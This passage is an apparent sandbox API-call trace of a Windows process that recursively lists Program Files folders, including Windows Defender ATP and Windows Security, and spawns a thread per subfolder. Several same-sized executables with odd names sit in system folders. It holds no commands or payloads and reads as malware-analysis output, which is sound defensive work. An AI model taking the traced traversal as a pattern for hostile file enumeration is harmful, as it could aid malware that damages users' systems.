	[0073.733] wcscat (in: _Dest=0x2d7b150, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\"
	[0073.733] wcscat (in: _Dest=0x2d7b150, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US"
	[0073.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7b150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="MsSense.exe", _String2=".") returned 1
	[0073.734] wcscmp (_String1="MsSense.exe", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="SenseCncProxy.exe", _String2=".") returned 1
	[0073.734] wcscmp (_String1="SenseCncProxy.exe", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="SenseCncPS.dll", _String2=".") returned 1
	[0073.734] wcscmp (_String1="SenseCncPS.dll", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="SenseSampleUploader.exe", _String2=".") returned 1
	[0073.734] wcscmp (_String1="SenseSampleUploader.exe", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ad0950, ftCreationTime.dwHighDateTime=0x1d54f95, ftLastAccessTime.dwLowDateTime=0x38b4abf0, ftLastAccessTime.dwHighDateTime=0x1d585bf, ftLastWriteTime.dwLowDateTime=0x38b4abf0, ftLastWriteTime.dwHighDateTime=0x1d585bf, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="survive.exe", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="survive.exe", _String2=".") returned 1
	[0073.734] wcscmp (_String1="survive.exe", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1
	[0073.734] wcscmp (_String1="WATPCSP.dll", _String2=".") returned 1
	[0073.734] wcscmp (_String1="WATPCSP.dll", _String2="..") returned 1
	[0073.734] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0
	[0073.734] FindClose (in: hFindFile=0x2d71100 | out: hFindFile=0x2d71100) returned 1
	[0073.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0073.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62fc8) returned 1

Thread:
	id = 90
	os_tid = 0xd08

	[0073.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73420
	[0073.736] wcscpy (in: _Dest=0x2d73420, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0073.736] wcscat (in: _Dest=0x2d73420, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\"
	[0073.736] wcscat (in: _Dest=0x2d73420, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\*") returned="C:\\Program Files\\Windows Mail\\*"
	[0073.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.736] wcscmp (_String1=".", _String2=".") returned 0
	[0073.736] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b691ba5, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b691ba5, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.736] wcscmp (_String1="..", _String2=".") returned 1
	[0073.736] wcscmp (_String1="..", _String2="..") returned 0
	[0073.736] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92380630, ftCreationTime.dwHighDateTime=0x1d5582f, ftLastAccessTime.dwLowDateTime=0x35467e20, ftLastAccessTime.dwHighDateTime=0x1d587aa, ftLastWriteTime.dwLowDateTime=0x35467e20, ftLastWriteTime.dwHighDateTime=0x1d587aa, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="bitkinex.exe", cAlternateFileName="")) returned 1
	[0073.736] wcscmp (_String1="bitkinex.exe", _String2=".") returned 1
	[0073.736] wcscmp (_String1="bitkinex.exe", _String2="..") returned 1
	[0073.736] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0073.736] wcscmp (_String1="en-US", _String2=".") returned 1
	[0073.736] wcscmp (_String1="en-US", _String2="..") returned 1
	[0073.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x47304c0
	[0073.736] wcscpy (in: _Dest=0x47304c0, _Source="C:\\Program Files\\Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail"
	[0073.736] wcscat (in: _Dest=0x47304c0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\") returned="C:\\Program Files\\Windows Mail\\"
	[0073.736] wcscat (in: _Dest=0x47304c0, _Source="en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US"
	[0073.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47304c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="msoe.dll", _String2=".") returned 1
	[0073.737] wcscmp (_String1="msoe.dll", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="MSOERES.dll", _String2=".") returned 1
	[0073.737] wcscmp (_String1="MSOERES.dll", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4abdb2c0, ftCreationTime.dwHighDateTime=0x1d575c9, ftLastAccessTime.dwLowDateTime=0x3dc0d090, ftLastAccessTime.dwHighDateTime=0x1d57987, ftLastWriteTime.dwLowDateTime=0x3dc0d090, ftLastWriteTime.dwHighDateTime=0x1d57987, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="notepad.exe", _String2=".") returned 1
	[0073.737] wcscmp (_String1="notepad.exe", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="oeimport.dll", _String2=".") returned 1
	[0073.737] wcscmp (_String1="oeimport.dll", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="wab.exe", _String2=".") returned 1
	[0073.737] wcscmp (_String1="wab.exe", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="wabimp.dll", _String2=".") returned 1
	[0073.737] wcscmp (_String1="wabimp.dll", _String2="..") returned 1
	[0073.737] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0073.737] wcscmp (_String1="wabmig.exe", _String2=".") returned 1
	[0073.738] wcscmp (_String1="wabmig.exe", _String2="..") returned 1
	[0073.738] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0073.738] wcscmp (_String1="WinMail.exe", _String2=".") returned 1
	[0073.738] wcscmp (_String1="WinMail.exe", _String2="..") returned 1
	[0073.738] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0073.738] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73420) returned 1
	[0073.738] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d72f58) returned 1

Thread:
	id = 91
	os_tid = 0x37c

	[0073.740] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x47338d0
	[0073.740] wcscpy (in: _Dest=0x47338d0, _Source="C:\\Program Files\\Windows Multimedia Platform" | out: _Dest="C:\\Program Files\\Windows Multimedia Platform") returned="C:\\Program Files\\Windows Multimedia Platform"
	[0073.740] wcscat (in: _Dest=0x47338d0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Multimedia Platform\\") returned="C:\\Program Files\\Windows Multimedia Platform\\"
	[0073.741] wcscat (in: _Dest=0x47338d0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Multimedia Platform\\*") returned="C:\\Program Files\\Windows Multimedia Platform\\*"
	[0073.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Multimedia Platform\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.741] wcscmp (_String1=".", _String2=".") returned 0
	[0073.741] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.741] wcscmp (_String1="..", _String2=".") returned 1
	[0073.741] wcscmp (_String1="..", _String2="..") returned 0
	[0073.741] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0073.741] wcscmp (_String1="sqmapi.dll", _String2=".") returned 1
	[0073.741] wcscmp (_String1="sqmapi.dll", _String2="..") returned 1
	[0073.741] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aa6fc0b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2aa6fc0b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2aa6fc0b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0
	[0073.741] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.741] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.741] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47338d0) returned 1
	[0073.741] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a170) returned 1

Thread:
	id = 92
	os_tid = 0x12b8

	[0073.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730ce0
	[0073.742] wcscpy (in: _Dest=0x4730ce0, _Source="C:\\Program Files\\Windows Security" | out: _Dest="C:\\Program Files\\Windows Security") returned="C:\\Program Files\\Windows Security"
	[0073.742] wcscat (in: _Dest=0x4730ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\") returned="C:\\Program Files\\Windows Security\\"
	[0073.742] wcscat (in: _Dest=0x4730ce0, _Source="*" | out: _Dest="C:\\Program Files\\Windows Security\\*") returned="C:\\Program Files\\Windows Security\\*"
	[0073.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
	[0073.742] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d712c0
	[0073.743] wcscmp (_String1=".", _String2=".") returned 0
	[0073.743] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b72a48d, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b72a48d, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.743] wcscmp (_String1="..", _String2=".") returned 1
	[0073.743] wcscmp (_String1="..", _String2="..") returned 0
	[0073.743] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85383540, ftCreationTime.dwHighDateTime=0x1d5b62b, ftLastAccessTime.dwLowDateTime=0x4eed0000, ftLastAccessTime.dwHighDateTime=0x1d5a3e9, ftLastWriteTime.dwLowDateTime=0x4eed0000, ftLastWriteTime.dwHighDateTime=0x1d5a3e9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1
	[0073.743] wcscmp (_String1="active-charge.exe", _String2=".") returned 1
	[0073.743] wcscmp (_String1="active-charge.exe", _String2="..") returned 1
	[0073.743] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 1
	[0073.743] wcscmp (_String1="BrowserCore", _String2=".") returned 1
	[0073.743] wcscmp (_String1="BrowserCore", _String2="..") returned 1
	[0073.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4733f50
	[0073.743] wcscpy (in: _Dest=0x4733f50, _Source="C:\\Program Files\\Windows Security" | out: _Dest="C:\\Program Files\\Windows Security") returned="C:\\Program Files\\Windows Security"
	[0073.743] wcscat (in: _Dest=0x4733f50, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Security\\") returned="C:\\Program Files\\Windows Security\\"
	[0073.743] wcscat (in: _Dest=0x4733f50, _Source="BrowserCore" | out: _Dest="C:\\Program Files\\Windows Security\\BrowserCore") returned="C:\\Program Files\\Windows Security\\BrowserCore"
	[0073.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4733f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0073.744] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2d85ee8 | out: lpFindFileData=0x2d85ee8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92ad688, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrowserCore", cAlternateFileName="BROWSE~1")) returned 0
	[0073.744] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0073.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0073.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730ce0) returned 1
	[0073.744] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731140) returned 1

Thread:
	id = 93
	os_tid = 0x12cc

	[0073.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73420
	[0073.745] wcscpy (in: _Dest=0x2d73420, _Source="C:\\Program Files\\WindowsApps" | out: _Dest="C:\\Program Files\\WindowsApps") returned="C:\\Program Files\\WindowsApps"
	[0073.745] wcscat (in: _Dest=0x2d73420, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\") returned="C:\\Program Files\\WindowsApps\\"
	[0073.745] wcscat (in: _Dest=0x2d73420, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\*") returned="C:\\Program Files\\WindowsApps\\*"
	[0073.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d85ee8
